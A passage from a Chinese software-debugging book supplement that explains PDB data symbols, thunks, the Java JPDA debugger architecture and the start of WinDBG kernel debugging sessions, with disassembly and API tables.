这里说明什么是文件作用域内(File-scoped)的静态变量,简单来说,就是带有 static 关键字的定义在函数之外的变量。如果没有加 static,那么它就是一个普通的全局变量。 加了 static 之后,它的作用域便被限定在它所在的源文件(linkage)中,这样的好处是所 在文件中的所有函数可以使用它,而且可以防止它的值被其他文件内的函数所修改。这种 变量主要用在 c 程序中,C++中因为有了对象封装技术,较少使用这种变量了。例如 crtexe.c 中,将记录命令行参数的 argc 和 argv 变量定义为文件作用域内的静态变量: // All the below variables are made static global for this file. … static int argc; /* three standard arguments to main */ static _TSCHAR **argv; 枚举类型 LocationType 定义了数据的位置特征,包括存贮位置所在空间,位置偏移所 使用的参照物等(表 25-27)。 表 25-27 描述数据符号位置类型的 LocationType 枚举类型 常量 值 说明 LocIsNull 0 没有位置信息 LocIsStatic 1 位置是静态的 LocIsTLS 2 位于线程局部存储区(Thread Local Storage)中 LocIsRegRel 3 位置信息是相对于寄存器的 LocIsThisRel 4 位置信息是相对于对象指针(this)的 LocIsEnregistered 5 对应的变量被寄存器化了,位置信息是寄存器号 LocIsBitField 6 位置信息是二进制位域 LocIsSlot 7 位置信息是中间语言(MSIL)的 slot LocIsIlRel 8 位置信息是中间语言(IL)相关的 LocInMetaData 9 位于元数据内 LocIsConstant 10 常量 LocTypeMax 11 本枚举类型所定义的位置类型总数 《软件调试》补编 - 50 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 25.12.2 全局数据符号 使用 SymView 工具打开一个 PDB 文件(HiWorld.PDB),然后在 SymTag 视图中选择 Data[7],SymView 便会显示出 PDB 文件中的所有全局常量和变量符号,包括文件作用域 内的静态变量和真正的全局变量,我们把这些符号统称为全局数据符号(见表 25-28)。 表 25-28 全局数据符号示例 属性 szWindowClass envp PowerDeviceD0 get_addressOffset 0x1f8 0x3e4 N/A get_addressSection 4 4 N/A get_dataKind Global[6] File Static[5] Constant[9] get_lexicalParentId 1255 1255 1255 get_locationType static[1] static[1] Constant[10] get_name szWindowClass envp PowerDeviceD0 get_relativeVirtualAddress 107000 107492 N/A get_typeId 3382 3865 3292 get_virtualAddress 0x1a1f8 0x1a3e4 N/A get_value N/A N/A 1 表 25-28 列出了 HiWorld.PDB 中的 3 个全局数据符号的属性值。这 3 个数据符号分 别 描 述 了 全 局 变 量 szWindowClass 、 文 件 作 用 域 内 的 静 态 变 量 envp 和 常 量 PowerDeviceD0。对于前两者,它们有详细的地址属性,包括节、偏移、虚拟地址和 RVA, 调试器就可以通过这些信息读到它们的当前值,不该使用 get_value 方法。对于 PowerDeviceD0 常量,它没有地址信息,使用 get_value 方法可以读到它的值(1)。 typeId 属性的值代表了数据的类型符号,依次是数组类型、指针类型和枚举类型 _DEVICE_POWER_STATE。 25.12.3 参数符号 通过 SymView 的 Compiland 视图,浏览 Compiland 下的函数,然后展开一个有参数 的函数,便可以看到它的参数符号。知道了一个函数符号的 ID 后,也可以使用 SymView 的“Symbols by Parent ID”搜索功能找到这个函数的参数符号。表 25-29 列出了 Setup 方 法的参数符号的属性值。 表 25-29 参数符号示例 属性 This lpszName 说明 get_dataKind Object Ptr[4] Param[3] 数据种类 get_lexicalParentId 332 332 父词条 ID,即所在的 Compiland get_locationType RegRel[3] RegRel[3] 位置类型,相对于寄存器 get_name this lpszName 名称 get_offset -8 8 偏移 get_registerId 22 22 寄存器 ID get_typeId 3826 3827 类型 ID 类型 ID 代表了参数的类型符号,例如,上面两个类型符号都是指针符号(SymTag- PointerType),分别指向 CBaseClass 类(UDT)和 wchar_t 类型。位置类型中的 RegRel (Register Relative)代表偏移信息是相对于寄存器的,Register ID 中的 22 代表的是 EBP 寄存器(CVCONST.H 中的 CV_HREG_e 枚举定义了各个寄存器的 ID)。大家知道,C++方法 使用的是 this 调用协议,this 指针是通过 ECX 寄存器来传递的,其他参数是使用栈来传递的, 这样一来,可以理解 EBP + 8 就是第一个参数 lpszName 的地址,那么,为什么 EBP - 8 是 this 参数的地址呢?这又是编译器对调试的一个特别支持。因为寄存器的值经常变化,所以 为了使得隐含的 this 参数也可以被追溯,编译器会在栈帧中分配空间并生成代码将其保存 《软件调试》补编 - 51 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 到栈中,保存的位置就是 ebp-8。观察 Setup 方法的汇编代码,可以看到在函数的序言部分有 一条 MOV 指令(地址为 0x00411640 )来做这个工作,即: 0041162C push ecx 0041162D lea edi,[ebp-0DCh] 00411633 mov ecx,37h 00411638 mov eax,0CCCCCCCCh 0041163D rep stos dword ptr es:[edi] 0041163F pop ecx 00411640 mov dword ptr [ebp-8],ecx 在发布版本中,为了提高性能,编译器通常不会加入这个支持,这时针对 this 符号调 用 get_offset 方法不再返回 S_OK,它的位置类型也变为 Enregistered,寄存器 ID 值为 18,代表 ECX。 25.12.4 局部变量符号 根据分配方式,局部变量又可分为分配在静态变量区内的静态局部变量,分配在栈上 的局部变量和分配在寄存器中的寄存器变量。以 HiWorld 项目的 HiWorld.cpp 文件中的 FuncTest 函数为例,dwEntryCount 是静态的局部变量,cf 和 szMsg 是分配在栈上的普通 局部变量,循环变量 i 是比较典型的可能被分配在寄存器中的变量,因为它的大小可以被寄 存器所容纳,而且访问它的频率可能比较高,放入寄存器中有利于提高性能。 使用 SymView 工具打开调试版本的 HiWorld.PDB 文件,在 Compiland 视图浏览到 HiWorld.obj 下的 FuncTest 函数,可以看到它共有 9 个数据符号。其中前 4 个是编译器的 变量检查功能自动加入的静态局部变量(参见22.11 节),hWnd 是参数,其他4 个是FuncTest 函数中的 4 个局部变量(表 25-30)。 表 25-30 局部变量符号示例 属性 cf szMsg i dwEntryCount get_addressOffset N/A N/A N/A 0x90 get_addressSection N/A N/A N/A 4 get_dataKind Local[1] Local[1] Local[1] Static Local[2] get_lexicalParentId 155 155 166 155 get_locationType RegRel[3] RegRel[3] RegRel[3] static[1] get_name cf szMsg i dwEntryCount get_offset -560 -1088 -1100 N/A get_relativeVirtualAddress N/A N/A N/A 0x1a090 get_registerId 22 22 22 N/A get_typeId 1333 1335 1327 1334 get_virtualAddress N/A N/A N/A 0x1a090 从上表可以看出,静态变量具有虚拟地址、节和地址偏移等信息,因此可以从内存中 读到它的值,即使不在执行这个函数,也可以使用调试器读取它的值,从这个意义上来说, 它与全局变量很类似。其他 3 个局部变量都是分配在栈上的,它的偏移属性是相对于栈帧 的基地址寄存器(EBP)。所有变量符号都有一个 typeId 属性用来查询它的类型。 图 25-13 FuncTest 函数(发布版本)的调试符号 图 25-13 显示的是发布版本的 FuncTest 函数的子符号情况,从图中可以看到,用于变 量检查功能的静态变量在发布版本中不见了,另外,循环变量 i 也被优化掉而分配到寄存 器中了。 《软件调试》补编 - 52 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 25.13 Thunk 及其符号 当 CPU 在不同字长(16 位和 32 位)、不同空间(内核空间和用户空间)或不同模块 之间(DLL)的代码之间跳转(执行转移)时,往往需要有一些代码来完成衔接、映射, 以及转换翻译等工作,人们给这样的代码片段起了个很特别的名字,叫做 Thunk。关于 Thunk 一词的来源有很多种说法,有人说它是 Think 的一种特别的过去式(类似于 drink > drunk),有人说这个词来源于早期计算机在运算时所发出的声音,也有人说它就是 “THe-fUNCtion”的缩写。不管怎样,大家只要知道 Thunk 就是用来实现某些特别的函 数调用和执行转移而设计的一小段代码。下面我们先分别介绍几种常见的 Thunk,然后介 绍描述 Thunk 的符号。 25.13.1 DLL 技术中的 Thunk Thunk 的一种典型应用就是在动态连接库(Dynamic Link Library,DLL)技术中实现 动态绑定和跨模块调用。让我们通过一个例子来理解 DLL 技术的简要原理和 Thunk 在其 中的作用。 在使用了 MessageBox API 的 HiWorld 程序中,我们可以看到如下代码: 0:001> u HiWorld!MessageBoxW HiWorld!MessageBoxW: 00412538 ff2500b44100 jmp dword ptr [HiWorld!_imp__MessageBoxW (0041b400)] 其中的 HiWorld!_imp__MessageBoxW 可以理解成是一个全局变量,使用 dd 命令可以观 察到它的值: 0:001> dd HiWorld!_imp__MessageBoxW l1 0041b400 77d9610a 使用 ln 命令可以看到 77d9610a 是 User32.DLL 中的 MessageBoxW 函数的地址: 0:001> ln 77d9610a (77d9610a) USER32!MessageBoxW | (77d96158) USER32!SetSysColors 位于 HiWorld 中的 MessageBoxW 是一个典型的 Thunk,它的作用是跳转到全局变量 HiWorld!_imp__MessageBoxW 所指定的地址。 25.13.2 实现不同字长模块间调用的 Thunk Thunk 的另一种典型应用就是在不同字长的模块间进行函数调用以完成翻译和转换 任务。例如在 Windows 9x 中,为了支持旧的 16 位软件,系统允许从 32 位的应用程序(EXE) 中调用 16 位模块(DLL)中的函数。但因为 32 位代码使用的数据类型和寄存器与 16 位 代码有很大差异,所以在调用前,必须将函数参数翻译为 16 位代码所使用的数据类型, 然后将线程的栈切换为供 16 位代码所使用的栈,当函数返回时,再将 16 位函数的返回值 翻译成 32 位。为了简化这一过程,Windows 9x 设计了一种称为 Flat Thunk 的机制,使用 一对 DLL(一个 32 位,一个 16 位)来执行从 32 位代码到 16 位代码的函数调用,并且提 供了一个专门的编译工具(Thunk Compiler)来帮助生成这对 DLL。主要步骤是先使用这 个工具根据 Thunk 脚本产生合适的汇编代码,然后使用汇编编译器(ml.exe)将汇编代码 分别编译成 16 位和 32 位的目标文件(obj),最后再分别生成 16 位和 32 位的 DLL。在这 两个 DLL 中用来做翻译和转换工作的代码,便被称为 Thunk。今天的 Windows 操作系统 已经不再支持 16 位的模块,因此 Flat Thunk 技术已经过时,只有个别的 API(例如 ThunkConnect32)还残留在 MSDN 中。 《软件调试》补编 - 53 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 25.13.3 启动线程的 Thunk 在 kernel32.dll 中我们可以看到一段名为 BaseProcessStartThunk 的代码,其汇编指令 如下: 0:001> u kernel32!BaseProcessStartThunk kernel32!BaseProcessStartThunk: 7c810665 33ed xor ebp,ebp 7c810667 50 push eax 7c810668 6a00 push 0 7c81066a e945690000 jmp kernel32!BaseProcessStart (7c816fb4) 这段代码将 EBP 寄存器清 0,然后向栈中压入两个参数,便无条件地跳转到 BaseProcessStart 函数(永远不会再返回到这段代码)。事实上,这段代码就是每个进 程的初始线程开始在用户态执行的起点。其中 EAX 的值是进程的启动函数地址,即登记 在 PE 文件头结构中的入口地址。BaseProcessStartThunk 是一个典型的 Thunk,它做一点 简单的操作后便跳转到真正执行任务的目标函数。那么为什么要使用这个 Thunk 呢?因为 系统在创建进程的初始线程时,是不方便向线程的栈中压入内容的,所以便只是将进程的 启动函数放入到线程上下文结构(CONTEXT)的 EAX 寄存器中,这样,当用户线程开 始执行时,便需要一段简单代码来调用使用栈来接收参数的 BaseProcessStart 函数。当 然,这段代码的另一个作用就是将 EBP 寄存器清零,这为回溯栈帧设置了一个很好的终 结点。例如,我们在调试器中显示线程的栈回溯信息时,其最后一个栈帧指针的内容总是 0。 0012ffc0 7c816fd7 01a3f6f0 0000008c 7ffd8000 HiWorld!wWinMainCRTStartup+0xd 0012fff0 00000000 0041128f 00000000 78746341 kernel32!BaseProcessStart+0x23 0:000> dd 0012fff0 l1 // 显示最末栈帧基地址处的值 0012fff0 00000000 // 0 代表这是线程的最后一个栈帧 与 BaseProcessStartThunk 类似的还有 BaseThreadStartThunk,它将 EBP 寄存器清零并 将 EBX、EAX 和 0 压入到栈中后便跳转到 BaseThreadStart 函数。 25.13.4 Thunk 分类 在 NTDLL.DLL 中,我们也可以看到 Thunk 代码,比如 LdrInitializeThunk(目标函数 为 LdrInitialize),在 ATL 中也使用了 Thunk,因为篇幅关系,我们不一一叙述。DIA SDK 中的 THUNK_ORDINAL 枚举类型将 Thunk 归纳为表 25-31 所列出的 7 种类型。 表 25-31 Thunk 分类 常量 值 说明 THUNK_ORDINAL_NOTYPE 0 普通的 Thunk THUNK_ORDINAL_ADJUSTOR 1 用于调整 this 指针的 Thunk THUNK_ORDINAL_VCALL 2 用于调用虚函数的 Thunk THUNK_ORDINAL_PCODE 3 用于调用 P-Code 的 Thunk THUNK_ORDINAL_LOAD 4 加载地址并跳转到这个地址 THUNK_ORDINAL_TRAMP_INCREMENTAL 5 增量性的 Trampoline Thunk THUNK_ORDINAL_TRAMP_BRANCHISLAND 6 分支性的 Trampoline Thunk 其中 P-Code 是 Packed Code 的缩写,它是一种比.NET 技术更早的中间代码技术。其 基本思想是通过使用中间代码(P-Code)来缩减可执行文件的大小,当执行时,链接到可 执行文件中的一个小的引擎将 P-Code 解释为机器码来执行。VB 支持将程序编译为 P-Code。 Trampoline Thunk 用于将函数调用从一个空间弹到另一个空间,比如从内核空间到用 户空间或反之。 《软件调试》补编 - 54 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 25.13.5 Thunk 符号 Thunk 符号(SymTagThunk[27])用来描述程序中的 Thunk。表 25-32 列出了用来描述 我们前面介绍的 HiWorld!MessageBoxW 的 Thunk 符号的各种属性。 表 25-32 Thunk 符号示例 属性 值 说明 get_addressOffset 0x1538 Thunk 的地址偏移 get_addressSection 2 Thunk 的节地址 get_length 0x6 Thunk 的代码长度,6 个字节 get_lexicalParentId 449 父词条 ID,代表的是 User32.DLL get_locationType static[1] 位置类型 get_name MessageBoxW 名称 get_relativeVirtualAddress 0x12538 Thunk 的 RVA get_thunkOrdinal standard thunk[0] Thunk 类型 get_virtualAddress 0x12538 Thunk 过程的虚拟地址 从 PDB 的编纂结构角度来讲,Thunk 符号是 Compiland 符号的子符号。比如,表 25-32 所描述的 MessageBoxW 符号的父词条 ID(449)代表的是描述 User32.DLL 的 Compiland 符号。 《软件调试》补编 - 55 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 补编内容 补编内容 补编内容 补编内容 6 调试器标准 调试器标准 调试器标准 调试器标准 补编说明: 这一节本来属于《软件调试》第 28 章的最后一节,讲的是 Java 调试器的标 准。 《软件调试》的出发点是写软件调试的一般原理的,但是为了不流于空泛, 始终是选择真实的产品(软件和硬件)为例来讲的。但是因为众所周知的事 实,无论是 CPU 还是核心软件,如果只在主流的产品中选择,那么选择的余 地很有限。 我在多年前做过几年的 Java 开发,对 Java 还算熟悉,于是写作了这一内容, 写作时很觉得这一内容巩固调试器原理和了解 Java 都听不错。特别是可以证 明,原理是相通的,不论是 Java 调试器,还是 C/C++调试器,它们内部其实 很像。 在最后一轮压缩篇幅时,这一节被删除了,主要原因是这一内容是属于“锦 上添花(姑且用这个词吧)”类型,删除后也不会影响整个内容的完整性。 28.9 JPDA 标准 Java 是一种流行的动态语言,使用 Java 语言开发的程序先编译为字节码,然后由 Java 虚拟机(JVM)按照 JIT 编译的方式来执行。Java 程序可以在各种装有 Java 运行环境(Java Runtine)的系统中运行,具有非常好的跨平台特征,因此被广泛应用到企业应用、网络服 务、网站开发、移动和嵌入式设备等领域。本节我们介绍用于调试 Java 程序的调试器标 准——JPDA。我们介绍的版本是 Java SE 6。 28.9.1 JPDA 概貌 JPDA 的全称是 Java 平台调试器架构(Java Platform Debugger Architecture),它由图 28-13 所示的 3 个部分组成,即: 1. Java 调试器接口(Java Debug Interface),简称 JDI,这是一套供调试器或者性能分析 工具使用的 Java API,用来访问目标程序的内部状态和调用 Java 虚拟机的各种调试功 能。JDI 工作在调试器进程中,负责与调试器的其他部分进行交互。 2. Java 虚拟机工具接口(JVM Tool Interface),简称 JVM TI,它是 JVM 对外提供调试 服务的标准接口,它工作在被调试的 Java 进程中,负责与 Java 虚拟机进行交互收集 《软件调试》补编 - 56 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 调试信息并接收和处理来自 JDI 的命令请求。 3. Java Debug Wire Protocol ,简称 JDWP,这是 JVM TI 与 JDI 之间进行通信的协议, 二者通过这个协议交换信息。 图 28-13 Java 平台调试器架构(JPDA) 从用户的角度来看,位于调试器进程中的部分(包括 JDI)常被称为前端(Front End), 被调试器进程中负责支持调试器前端工作的部分常被称为后端(Back End)。下面我们对 以上 3 个部分进行分别介绍。 28.9.2 JDI JDI 是一套纯粹的 Java API 库,用来简化使用 Java 语言来开发 Java 调试器,它封装 了通过 JDWP 与 JVM TI 通信的过程,使得调试器开发者只要调用这些简单易用的 Java API 就能开发出强大的调试器。尽管调试器开发者可以直接使用 JDWP 或 JVM TI,但是使用 JDI 是推荐的方法。JDI 它主要包含表 28-7 所列出的一些 Java 包(package)。 表 28-7 JDI 的各个包 包名 功能 com.sun.jdi JDI 的核心包,定义了位于目标进程内的类型、数据和虚拟机本身 的本地镜像(mirror)。利用这些镜像调试器可以像访问本地那样 访问目标进程内的数据、类型和虚拟机状态 com.sun.jdi.connect 调试器进程的 JVM 与目标进程的 JVM 之间的连接 com.sun.jdi.connect.spi 包含了一系列接口和类,用于开发新的传输服务(TransportService) com.sun.jdi.event JDI 事件和事件处理 com.sun.jdi.request 向调试器后端发送请求,请求的种类见下文 通过 com.sun.jdi.request 包中的类,调试器可以向目标进程中的调试器后端发出请求 来订阅调试事件,表 28-8 列出了发送请求的接口名称和所对应的事件通知。 表 28-8 JDI 中用于发送调试请求的接口 接口 请求 AccessWatchpointRequest 当目标进程中的指定字段被访问时得到通知 BreakpointRequest 当目标虚拟机执行到指定位置时得到通知 ClassPrepareRequest 当目标虚拟机准备指定的类时得到通知 《软件调试》补编 - 57 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 续表 接口 请求 ClassUnloadRequest 当指定的类被从目标虚拟机中卸载时得到通知 ExceptionRequest 当目标虚拟机中发生异常时得到通知 MethodEntryRequest 当目标虚拟机中的方法被调用(进入方法)时得到通知 MethodExitRequest 当目标虚拟机中的方法返回(从方法中出来)时得到通知 ModificationWatchpointRequest 当一个字段被设置时得到通知 MonitorContendedEnteredRequest 当目标进程中的线程等待到了存在竞争的监视对象 (monitor object)后得到通知 MonitorContendedEnterRequest 当目标进程中的线程开始等待一个已经被其他线程得到 的监视对象时得到通知 MonitorWaitedRequest 当目标进程中的线程结束等待监视对象时得到通知 MonitorWaitRequest 当目标进程中的线程即将等待监视对象时得到通知 StepRequest 当目标虚拟机中发生单步执行时得到通知 ThreadDeathRequest 当目标虚拟机中的线程终止时得到通知 ThreadStartRequest 当目标虚拟机中的线程启动时得到通知 VMDeathRequest 当目标虚拟机终止时得到通知 WatchpointRequest 定义一个被监视的字段 以上接口均派生自 EventRequest 接口,因此可以使用 EventRequestManager 类来统一 管理和发送,当请求所对应的条件满足时,一个对应的 Event 对象会被放入到事件队列 (EventQueue)中,然后调试器可以从队列中取出这个事件。 28.9.3 JVM TI 与 JDI 是一个 100%使用 Java 语言开发的 Java 库不同,Java 虚拟机工具接口(JVM Tool Interface,简称 JVM TI)是一个本地的(native)编程接口。通过这个接口,工具软件可 以观察 Java 虚拟机(JVM)中所执行程序的状态并控制它的执行,以实现调试、Profiling、 监控、线程分析、覆盖率分析(Coverage Analysis)等目标。 JVM TI 是 JDK 5.0 所引入的,它取代了本来用于 Profiling 的 JVMPI(Java Virutal Machine Profiler Interface)接口和用于调试的 JVMDI(Java Virtual Machine Debug Interface) 接口。 从架构角度来看,JVM TI 是 JVM 为工具程序所提供的一个本地接口。使用这个接口 的客户模块被称为主体(Agent)。主体可以在进程内,也可以在进程外。进程内主体通常 是以动态链接库的形式存在的。可以使用任何支持 C 语言调用规范的本地语言开发主体, JVM TI 的数据结构和函数定义在 jvmti.h 文件中。在图 28-13 所示的架构中,调试器使用 的是 JVM TI 的进程外接口(Out-of-process Interface)。 JVM TI 共提供了几十个函数,分为 21 个组,表 28-9 列出了这些函数的名称和功能。 为了节约篇幅,除了组名占一整行外,表格的每一行列出了两个函数。 表 28-9 JVM TI 的函数 函数名称 功能 函数名称 功能 内存管理(Memory Management) Allocate 分配内存 Deallocate 释放内存 线程(Thread) GetThreadState 取线程状态 GetCurrentThread 取当前线程的结构 GetAllThreads 取所有线程 SuspendThread 挂起线程 SuspendThreadList 挂起列表中的线程 ResumeThread 恢复线程 《软件调试》补编 - 58 – Copyright © 2009 ADVDBG.ORG All Rights Reserved ResumeThreadList 恢复列表中的线程 StopThread 停止线程 InterruptThread 中断线程 GetThreadInfo 读取线程信息 GetOwnedMonitorInfo 取当线程所拥有的监 视对象信息 GetOwnedMonitorStack DepthInfo 取线程所拥有的监视 对象信息和锁定这些 对象的栈帧深度 GetCurrentContendedMo nitor 取指定线程等待进入 的竞争性监视对象 RunAgentThread 启动主体线程 SetThreadLocalStorage 设置线程局部存储的 指针 GetThreadLocalStorage 读取线程局部存储的 指针 线程组(Thread Group) GetTopThreadGroups 读取 VM 中的顶层线 程组 GetThreadGroupInfo 取线程组的信息 GetThreadGroupChildren 取线程组的活动线程 和子组 栈帧(Stack Frame) GetStackTrace 读取指定线程的栈帧 信息 GetAllStackTraces 读取所有存活线程的 栈帧信息 GetThreadListStack- Traces 读取指定线程列表中 各个线程栈帧信息 GetFrameCount 读取指定线程栈的栈 帧数 PopFrame 弹出指定线程的当前 栈帧 GetFrameLocation 读取当前执行位置 NotifyFramePop 当指定栈帧弹出时产 生 FramePop 事件 强制提前返回(Force Early Return) ForceEarlyReturnObject 强制返回结果为指定 对象或派生对象的方 法提早返回 ForceEarlyReturnInt 强制返回结果为整数 的方法提早返回 ForceEarlyReturnLong 强制返回结果为长整 数的方法提早返回 ForceEarlyReturnFloat 强制返回结果为浮点 数的方法提早返回 ForceEarlyReturnDouble 强制返回结果为双精 度浮点数的方法提早 返回 ForceEarlyReturnVoid 强制无返回结果的方 法提早返回 堆(Heap) FollowReferences 遍历对象引用 IterateThroughHeap 发起遍历堆中的所有 对象 GetTag 读取与指定对象关联 的 Tag SetTag 设置与指定对象关联 的 Tag GetObjectsWithTags 读取与指定 Tag 关联 的所有对象 ForceGarbageCollection 强制内存回收(GC) 1.0 堆(Heap 1.0) IterateOverObjectsReach ableFromObject 从指定对象遍历可到 达的对象 IterateOverReachable- Objects 从根遍历对象 IterateOverHeap 遍历堆 IterateOverInstancesOf Class 遍历类的实例 局部变量(Local Variable) GetLocalVariableObject 读取指定对象类型的 局部变量的取值 GetLocalVariableInt 读取 int/short/ char/byte/boolean 型 局部变量的值 GetLocalVariableLong 读 Long 型局部变量 的值 GetLocalVariableFloat 读取浮点类型局部变 量的值 GetLocalVariableDouble 读取双精度类型局部 变量的值 SetLocalVariableObject 设置指定对象类型的 局部变量的取值 SetLocalVariableInt 读取 int 等类型局部 变量的值 SetLocalVariableLong 设置 Long 型局部变 量的值 SetLocalVariableFloat 设置浮点类型局部变 量的值 SetLocalVariable- Double 设置双精度类型局部 变量的值 《软件调试》补编 - 59 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 断点(Breakpoint) SetBreakpoint 设置断点 ClearBreakpoint 清除断点 观察字段(WatchedField) SetFieldAccessWatch 当指定类的指定字段 被访问时产生 Field- Access 事件 ClearFieldAccessWatch 清除字段访问监视 SetFieldModification- Watch 当指定类的指定字段 被修改时产生 Field- Modification 事件 ClearFieldModification Watch 清除字段修改监视 类(Class) GetLoadedClasses 读取 VM 中已经加载 的类 GetClassLoaderClasses 读取指定类加载器所 加载的类 GetClassSignature 读取类的签名 GetClassStatus 读取类的状态 GetSourceFileName 读取类的源文件名 GetClassModifiers 读取类的访问标志 GetClassMethods 读取类的方法 GetClassFields 读取类的字段 GetImplementedInter- faces 读 取 类 的 super- interface GetClassVersion- Numbers 读取类的版本号 GetConstantPool 读取类的constant pool 的原始数据 IsInterface 是否是接口 IsArrayClass 是否是数组类 IsModifiableClass 类是否可以修改 GetClassLoader 读取指定类的类加载 器 GetSourceDebug- Extension 读取类的调试扩展信 息 RetransformClasses 更新已经加载类的字 节码 RedefineClasses 更新类的字节码 对象(Object) GetObjectSize 读取对象大下 GetObjectHashCode 读取对象的哈希代码 GetObjectMonitorUsage 读取监视对象的使用 情况 字段(Field) GetFieldName 读取字段名称 GetFieldDeclaringClass 读取字段的声明类 GetFieldModifiers 读取字段的访问标志 IsFieldSynthetic 是否是编译器产生的 假造字段 方法(Method) GetMethodName 读取方法名称 GetMethodDeclaring- Class 读取方法的声明类 GetMethodModifiers 读取方法的访问标志 GetMaxLocals 取局部变量槽的数量 GetArgumentsSize 取参数大小 GetLineNumberTable 取行号表 GetMethodLocation 读取方法的位置 GetLocalVariableTable 取局部变量表 GetBytecodes 读取字节码 IsMethodNative 是否是本地方法 IsMethodSynthetic 是否是编译器加入的 假造方法 IsMethodObsolete 是否是过时的方法 SetNativeMethodPrefix 设置本地方法的前缀 SetNativeMethod- Prefixes 设置本地方法的多个 前缀 原始的监视器(Raw Monitor) CreateRawMonitor 创建一个原始监视器 DestroyRawMonitor 销毁一个原始监视器 RawMonitorEnter 获取独自拥有权 RawMonitorExit 释放独自拥有权 RawMonitorWait 等待监视器的通知 RawMonitorNotify 通知等待监视器的单 一线程 RawMonitorNotifyAll 通知等待监视器的所 有线程 JNI 函数介入(JNI Function Interception) SetJNIFunctionTable 设置 JNI 函数表 GetJNIFunctionTable 读取 JNI 函数表 《软件调试》补编 - 60 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 事件管理(EventManagement) SetEventCallbacks 设置事件回调函数 SetEventNotification- Mode 设置事件通知模式 GenerateEvents 产生事件 扩展机制(Extension Mechanism) GetExtensionFunctions 读取扩展函数 GetExtensionEvents 读取扩展事件 SetExtensionEventCall- back 设置扩展事件的回调 函数 JVM TI 的功能(Capability) GetPotentialCapabilities 读取当前环境所支持 的潜在可选功能 AddCapabilities 增加功能 RelinquishCapabilities 放弃指定的功能 GetCapabilities 读取当前环境所支持 的可选功能 计时器(Timers) GetCurrentThreadCPUTi merInformation 读 取 当 前 线 程 所 用 CPU 时间的信息 GetCurrentThreadCPU- Time 读取当前线程所使用 的 CPU 时间 GetThreadCPUTimerInfo rmation 读 取 指 定 线 程 所 用 CPU 时间的信息 GetThreadCPUTime 读取指定线程所使用 的 CPU 时间 GetTimerInformation 读取计时器信息 GetTime 读取时间 GetAvailableProcessors 读 取 JVM 可 用 的 CPU 数量 类加载器搜索(Class Loader Search) AddToBootstrapClass- LoaderSearch 增加Bootstrap类加载 器的搜索路径 AddToSystemClass- LoaderSearch 增加系统类加载器的 搜索路径 系统属性(System Properties) GetSystemProperties 读取系统属性 GetSystemProperty 读取单个系统属性 SetSystemProperty 设置系统属性 其他 GetPhase 读取 VM 执行的当前 所处阶段 DisposeEnvironment 关闭与 JVM TI 的连 接 SetEnvironmentLocal- Storage 设置环境信息 GetEnvironmentLocal- Storage 读取环境信息 GetVersionNumber 读取 JVM TI 的版本 GetErrorName 读取错误代码的符号 名 SetVerboseFlag 控制输出信息的种类 GetJLocationFormat 读取位置的表示方法 以上我们列出了 JVM TI 的当前版本(JDK6)所定义的所有函数。我们之所以列出这 些函数,是因为这些函数反映了实现调试功能所需的底层支持,理解这些函数有利于理解 调试功能的工作原理。特别是以上函数也反映了 Java 语言的很多重要特征,比如 JVM、 类、类加载器,以及用于同步的监视对象等。 28.9.4 JDWP 简单来说,Java Debug Wire Protocol(JDWP)是一个通信协议,它定义了被调试进程 (Debuggee)与调试器进程通信的格式和方法。JDWP 允许调试器进程和被调试程序工作 在不同的机器上,以支持远程调试。 JDWP 中的所有数据通信是基于数据包的,它定义了两种基本的包类型:命令包和回 复包。每个包都由固定长度的头结构(Header)和可变长度的数据组成。命令包的头格式 为。 长度(4 bytes):整个包的长度,包括这个字段。 《软件调试》补编 - 61 – Copyright © 2009 ADVDBG.ORG All Rights Reserved ID(4 bytes):包的唯一 ID。 标志(1 byte):标志位,0x80 位如果为 1,则代表是回复包。 命令集合(1 byte):命令所属的命令集合。 命令(1 byte):命令。 回复包的头格式为: 长度(4 bytes):整个包的长度,包括这个字段。 ID(4 bytes):包的唯一 ID。 标志(1 byte):标志位。 错误代码(2 bytes):0 代表成功,非零代表发生错误。 调试器进程通过命令包向被调试进程中的调试器后端发送命令,调试器后端收到命令 后通过回复包发送处理结果。命令包中的命令集合字段和命令字段指定了要执行的命令, 目前 JDWP 定义了 18 个命令集合,共 100 多条命令。JDWP 的文档详细定义了每个命令 包的格式和用法,因为篇幅关系,在此从略。 JDK 中包含了使用 JPDA 的 3 个例子程序,分别是用来显示踪迹信息的 Trace 程序, 一个简单的命令行调试器 JDB 和一个简单的 GUI 调试器 Javadt。感兴趣的读者可以下载 JDK 并阅读它们的源代码。 《软件调试》补编 - 62 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 补编内容 补编内容 补编内容 补编内容 7 WinDBG 内幕 内幕 内幕 内幕 补编说明: 这一节本来属于《软件调试》第 29 章的后半部分,讲的是 WinDBG 调试器实 现不同类型的调试会话的方式,分内核调试和远程用户态调试两个部分。 考虑到第 30 章还会介绍有关的主题,在最后一轮压缩篇幅时,这一节被 删除了。 29.8 内核调试 前面两节我们以活动的用户态调试目标为例,介绍了调试会话和 WinDBG 接收处理 命令的过程。本节我们将把这些内容推广到内核调试的情况,严格来说,是通过通信电缆 进行双机内核调试的情况。 29.8.1 建立内核调试会话 对于用户态调试目标,无论是启动新进程开始调试还是附加到一个已经存在的进程, 一旦选定了程序文件或者进程 ID,那么调试器就立刻与调试目标建立起了调试会话。内 核调试与此略有不同,当我们选择内核调试(WinDBG 的 File>Kernel Debug…)并指定通 信方式(COM、1394 或 USB)后,虽然调试器会开始启动调试会话并等待与调试目标建 立连接,但是直到与调试目标建立起通信连接并检测到目标的基本信息后,内核调试会话 才真正建立。为了便于理解,我们将内核调试会话的建立过程分为两个阶段:启动阶段和 连接阶段。 举例来说,我们可以在一台没有连接串行数据线的计算机上,选择开始内核调试 (File>Kernel Debug,选择 COM),点击确定后,WinDBG 就会创建调试会话线程,然后 调用 StartSession 开始调试会话,其执行过程如清单 29-8 所示。 清单 29-8 开始内核调试会话 0:001> kn # ChildEBP RetAddr 00 00dffce8 020c5dec dbgeng!ConnLiveKernelTargetInfo::ConnLiveKernelTargetInfo 01 00dffd38 020bf86d dbgeng!LiveKernelInitialize+0x6c 02 